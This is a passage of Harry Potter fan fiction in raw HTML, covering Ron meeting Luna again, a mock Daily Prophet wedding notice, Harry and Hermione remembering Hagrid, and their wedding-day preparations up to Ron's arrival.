nonplussed. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You don&#8217;t remember me?&#8221; she asked. &#8220;Honestly! Well, I guess I shouldn&#8217;t be upset about that. I do look a whole lot different now than I did back then.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She looked at him expectedly, but Ron just stared at her. He was racking his brain trying to remember her face. He had never met her before, had he? If he&#8217;d known someone as pretty as she was, wouldn&#8217;t he have remembered? </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m sorry,&#8221; he said, smiling at her. &#8220;I have absolutely no idea who you are.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She frowned. &#8220;Well, I&#8217;ll give you a hint, then. Did you ever read <i>The Quibbler?&#8221;</i></p>\n\n<p><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;The Quibbler? </i>I have, yeah, but what does that have to do with&#8212;&#8220; He stopped mid-sentence and took his hand and slapped his own forehead. It had finally dawned on him who this girl was. All thoughts of Quidditch practice, of Hermione and Harry, of anything went right out of his head. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Loony Lovegood?&#8221; he asked her. &#8220;Is that really you?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Loony? Heavens, no one has called me that in ages,&#8221; she said, laughing. &#8220;I prefer Luna actually.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Wow,&#8221; he said, in almost a whisper. &#8220;Wow. Wow. Wow.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p>WEDDING OF THE YEAR STILL ON, BUT WITH DIFFERENT CAST </p>\n\n<p><i>The Daily Prophet</i> reported last week on the engagement between Harry Potter and Hermione Granger. We are now happy to announce that we have the finalized plans on what promises to be the wedding of the century. </p>\n\n<p>Mr. Potter and Ms. Granger will marry in two weeks time at the Great Hall at <st1:place><st1:placename>Hogwarts</st1:placename>\n\n<st1:placetype>School</st1:placetype></st1:place> of Witchcraft &amp; Wizardry. No explanation was given for the urgency of the ceremony, but <i>The Daily Prophet </i>has reason to believe that Potter and Granger may be welcoming a new member to their family in a few months time. </p>\n\n<p>There is no word yet on whether Ron Weasley, Mr. Potter&#8217;s best friend and Ms. Granger&#8217;s one-time fianc&#233;, will play a role in the wedding. </p>\n\n<p>The wedding will blend together the Muggle and wizarding world and will be officiated by Albus Dumbledore, the couple&#8217;s former headmaster at Hogwarts. Ms. Granger will wear the wedding dress her own mother wore on her wedding day, nearly 25 years ago. Mr. Potter will wear traditional wizarding wedding robes. </p>\n\n<p>Keep your eyes to <i>The Daily Prophet </i>for more forthcoming details about the wedding of the year.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; It had now been a week since Hermione had been released from the hospital. The wedding preparations were in full swing. Hermione&#8217;s mum and a wedding planner were busily making the final plans. They would run everything past Harry and Hermione for the final say so on everything from the flowers, the wedding cake and the reception. </p>\n\n<p>&nbsp;Hermione had been told to take it easy and had been granted an extended leave of absence from her job. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Despite the hectic schedule, Hermione and Harry had spent as much time together as possible. It was on a quiet Tuesday night when they&#8217;d decided to have a quiet night in without any disturbances. This had been a good idea in theory, but Hermione&#8217;s mum had popped in with a flower emergency and they&#8217;d just resolved the issue and sat down for a quick dinner.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry had made them some sandwiches and drinks, a butterbeer for him and a glass of milk for the expectant mom. &nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Do you ever feel like we&#8217;re just characters in some movie and all of our actions and thoughts are planned out?&#8221; Hermione asked. &#8220;I feel like we have no say in any of this.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We could always elope,&#8221; Harry said, smiling at her. &#8220;Go to <st1:city><st1:place>Las Vegas</st1:place></st1:city> in the States. Get married by an Elvis impersonator.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;<st1:city><st1:place>Las Vegas</st1:place></st1:city>? Um, I don&#8217;t think so,&#8221; Hermione said, laughing. &#8220;But, seriously. I think this is getting out of hand. Did you see the guest list my mum had? I don&#8217;t think I know half the people on that list.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&#8220;What was the final count?&#8221; Harry asked, taking a sip of his beer. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;722,&#8221; Hermione said. &#8220;Plus, the entire student body at Hogwarts.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry spit out his drink. &#8220;Sorry, but you did just say 722 plus the entire student body at Hogwarts? That&#8217;s over a thousand people. Is your mother insane?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes,&#8221; she said. &#8220;So, now you know what you&#8217;re up against, feel free to bail out on me.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Not a chance,&#8221; Harry said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione beamed at him. &#8220;So, did you decide on your part of the wedding party?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry nodded. &#8220;Yeah, Sirius agreed to be my best man.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Excellent choice,&#8221; Hermione said.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I always thought if I ever got married, Ron would be my best man and vice versa.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione nodded sadly. &#8220;Yeah, but under the circumstances, we couldn&#8217;t really expect him to stand up with us.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah, I know,&#8221; Harry said. &#8220;Have you heard from him?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Not since he came to see me in the hospital,&#8221; Hermione said. &#8220;Ginny said he&#8217;s been getting back into Quidditch and said that he&#8217;s not been around much. I hope he&#8217;s okay.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry nodded. &#8220;So, how about you? Maids of honor, bridesmaids? Who&#8217;s the lucky lot?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, Ginny agreed to be my maid of honor. She said she asked Ron if it&#8217;d be okay and he consented. Maybe that&#8217;s a good sign, right? As for bridesmaids, Lavender and Susan and Joyce, of course. You did ask Seamus and Dean and Neville to be groomsmen, didn&#8217;t you?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry didn&#8217;t answer her. A far away look had come over his face. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry?&#8221; Hermione asked, concerned. &#8220;Harry?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hmm?&#8221; he said, focusing on her. &#8220;I&#8217;m sorry.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You looked a million miles away,&#8221; Hermione said. &#8220;Is everything alright?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Of course, it&#8217;s just when we were talking about the guest list, I couldn&#8217;t help thinking of the people who won&#8217;t be there.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione sighed. &#8220;Oh, Harry. You were thinking about your mum and dad, weren&#8217;t you?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah, but I was also thinking about Hagrid.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione reached across the table and took Harry&#8217;s hand in hers. &#8220;Me, too. You know not a day goes by that I don&#8217;t think about him. He was such a great man.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry smiled. &#8220;I loved him like I would have a dad, you know? He was always looking out for me, for all of us, really. We could even thank him for helping me realize what a clueless, dense bastard I was being.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione looked at him bemused. &#8220;What are you talking about?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, &#8220; Harry began, &#8220;I reckon it was sometime during sixth year when he and I were talking at his cabin about he and Madame Maxime and out of the blue he told me that I needn&#8217;t look any further than right in front of me if I wanted to find happiness. He said that I should wake up and take notice of what a beautiful person my best friend was becoming before some bloody git came along and took her away.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione smiled at him. &#8220;I never knew that.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;And I never looked at you the same way again after that conversation.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione blushed. &#8220;Well, he told me something along those lines once too. I was pretty upset when you started getting serious with Cho Chang. One night I went for a walk on the grounds and ran into him. I was crying, you know, and he sat me down and said that I shouldn&#8217;t shed tears over this because some day you&#8217;d realize how special I was.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry laughed. &#8220;I never knew that.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hagrid did,&#8221; Hermione said. &#8220;I&#8217;ll never forget him for a number of things, but the one thing that will always hold a special place in my heart about him would be his compassion. He cared so much about everything, you know.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry was silent as he listened to Hermione talk. He owed a lot to Hagrid. He never felt as if he thanked him enough while he was alive for all that he&#8217;d done. He hoped Hagrid knew how much he&#8217;d meant to him, to Hermione, and to Ron. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione had started to cry as she remembered their dear friend. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Come here,&#8221; Harry said. She got up from her chair and walked around the table to Harry. She sat on his lap and he embraced her. They held each other tight. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p>The wedding day finally arrived. Harry and Hermione had decided to stick with tradition and hadn&#8217;t seen each other since the day before. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We&#8217;ve had enough bad luck in our time,&#8221; Hermione had told him. &#8220;Let&#8217;s not tempt fate now.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; So, they had begrudgingly spent the night before their wedding apart. Harry stayed at Hermione&#8217;s flat and Hermione spent the night at her parents&#8217; house. The week before, they&#8217;d both had their respective hen and stag weekends. &nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Now, they were back at the place where it had all began---Hogwarts. The grounds were alive with action and anticipation. The Great Hall had been cleared shortly after dinner, which had been an early one for the students. Flowers had been lined along every square inch of the hall. Almost every flower imaginable adorned the walls and aisles---daisies, carnations and roses of every kind and color. Professor Flitwick was playing piano in the corner of the hall as guests had begun to arrive. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dobby the House Elf had asked to work the wedding, but Hermione had told him he&#8217;d have the day off. She&#8217;d insisted on a catering staff that didn&#8217;t include house elves. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Spew refuses to die, doesn&#8217;t it?&#8221; Harry had teased her. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It&#8217;s not <i>spew</i>, for the two thousandth time,&#8221; Hermione had retorted exasperatedly. &#8220;It&#8217;s-&#8220;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I know, I know, the Society for the Promotion of Elfish Welfare,&#8221; Harry had teased. &#8220;S-P-E-W, not spew, duly noted.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dobby was dressed in his finest---a small t-shirt that Hermione had given him that said, &#8220;Take this job and shove it&#8221;. He wore a tuxedo bow-tie wrapped around his head. At the moment, he was watching the goings on in the grooms room, which was in reality the faculty lounge. Seamus and Dean were playing a last minute game of exploding snap as Sirius was watching as Harry struggled with his tie. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Are you going to keep laughing at me or are you going to help me?&#8221; Harry asked, exasperated. &#8220;I should probably go and get Hermione to tie this for me.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You&#8217;ll do no such thing,&#8221; Sirius said. &#8220;She&#8217;d kill me if I let you get within 2 feet of her before you&#8217;re supposed to. Here, let me do this. You are as bad as your dad. &#8220; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;He was like this before he got married?&#8221; Harry asked, as Sirius expertly tied the tie. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Worse,&#8221; Sirius said. &#8220;He spent the entire morning throwing up everything he&#8217;d ever eaten in his life, I believe. Nervous as all get out, he was.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;How did he make it through?&#8221; Harry asked. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, he was positively green until he saw your mother walking towards him and he was okay,&#8221; Sirius said. &#8220;He forgot about everything but her the moment he saw her in that dress. I expect you&#8217;ll be the same way.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry smiled. &#8220;I think so, too.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Sirius said, &#8220;You&#8217;re doing the right thing, you know?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;For once, right?&#8221; Harry asked. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;They&#8217;d be real proud of you, Harry,&#8221; Sirius said. &#8220;They&#8217;ll be here today for you. You can count on that.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Thanks, Sirius,&#8221; Harry said, turning to take a last look in the mirror. </p>\n\n<p>&#8220;Would you do me a favor?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Sure,&#8221; Sirius said. &#8220;What do you want me to do?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Could you go and check on Hermione and tell her that I can&#8217;t wait to see her,&#8221; Harry said. &#8220;Could you do that for me? And,&#8221; he continued, taking a small wrapped box out of his pocket. &#8220;Give her this for me, too.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Sirius took the box and nodded. &#8220;I&#8217;ll be right back, then.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Sirius walked a few doors down from the groom&#8217;s room and knocked softly on the door of the room Hermione and her attendants were using. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Who is it?&#8221; Ginny&#8217;s voice came from the other side. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;The best man on a mission from the groom,&#8221; Sirius said. &#8220;Get decent ladies.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ginny laughed as she opened the door. &#8220;Sirius, you clean up nice.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Thank you,&#8221; Sirius said, kissing her on the cheek. &#8220;You look lovely. You all do.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He looked around at the group of girls dressed in their royal blue bridesmaid gowns. Susan and Lavender were putting the finishing touches on their makeup. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Where is the bride?&#8221; Sirius asked. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ginny smiled. &#8220;She&#8217;s putting on her dress. We finally finished with her makeup and hair. She looks so beautiful.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; At that moment, Hermione entered from the bathroom.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Beautiful is an understatement, Ginny,&#8221; Sirius said, beaming at Hermione. The other girls gasped and let out &#8220;oohs&#8221; and &#8220;ahhs&#8221; as Hermione walked toward them blushing. Hermione&#8217;s mum gave out a sob as she watched her daughter. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Honey, you look amazing,&#8221; Mrs. Granger said. &#8220;I can&#8217;t believe that dress. You just look, beautiful.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Thanks, Mum,&#8221; Hermione said. &#8220;Hi, Sirius.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;She&#8217;s right, you know,&#8221; Sirius said, beaming at her. &#8220;You look amazing, my dear Hermione.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Thanks,&#8221; she said. &#8220;How&#8217;s Harry?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Present and accounted for,&#8221; Sirius said. &#8220;He asked me to come and see how you were.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m fantastic,&#8221; she said. &#8220;I can&#8217;t believe this day is finally here.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Sirius looked around at the crowd watching them and asked if they&#8217;d give him a minute with Hermione. They quickly filed out as Hermione looked at herself in the mirror. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;He asked me to give you something,&#8221; Sirius said. &#8220;Here you are.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What is this?&#8221; Hermione said. &#8220;We agreed not to give each other any gifts before the wedding. I&#8217;m going to kill him. I didn&#8217;t get him anything.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She quickly unwrapped the paper from the box and opened it up to find a pair of sparkling diamond earrings. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She gasped as she looked at them. &#8220;They&#8217;re beautiful.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;They are, but they can&#8217;t hold a candle to you,&#8221; Sirius said. He watched as she put them in her ears.&nbsp; When she was finished, he took her hand. &#8220;So, have you got your something old, something new, something borrowed and something blue?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione nodded. &#8220;With the earrings, I have something new. The locket that belonged to Harry&#8217;s mum, I&#8217;m considering my something borrowed. I have a blue handkerchief that my mum gave me. I don&#8217;t have something old.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes, you do,&#8221; Sirius said. &#8220;You have me. I&#8217;m about as old as they come.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione laughed. She playfully hit him on the shoulder. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You were wrong before, Hermione. When you said that you didn&#8217;t get him anything, you were wrong. You&#8217;ve given him much more than he ever thought he would have. You&#8217;ve given him love, you&#8217;ve given him a family, you&#8217;ve given him a home. I want to thank you for that,&#8221; Sirius said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione felt the lump form in her throat and felt the tears welling up in her eyes. &#8220;Don&#8217;t you make me cry, Sirius! Oh, thank Merlin for waterproof mascara.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, I better get back to the groom,&#8221; Sirius said. &#8220;I&#8217;ll see you at the altar.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry stood alongside Dean, Seamus and Neville as they all waited for the signal to go out front. Sirius was talking with Lupin, who&#8217;d come back to wish the groom good luck. A knock on the door interrupted all conversation and the source of that knock brought all conversation to an end. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; It was Ron. He was dressed in a simple black suit and tie. He nervously said hello to the assembled men in the room. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ron,&#8221; Harry said finally. &#8220;I didn&#8217;t think you&#8217;d come.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Um, neither did I, truthfully,&#8221; Ron said. &#8220;Could I have a moment?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Sure,&#8221; Harry said. &#8220;Guys, could you give us a second, please?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The others nodded and left Harry and Ron alone in the room. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 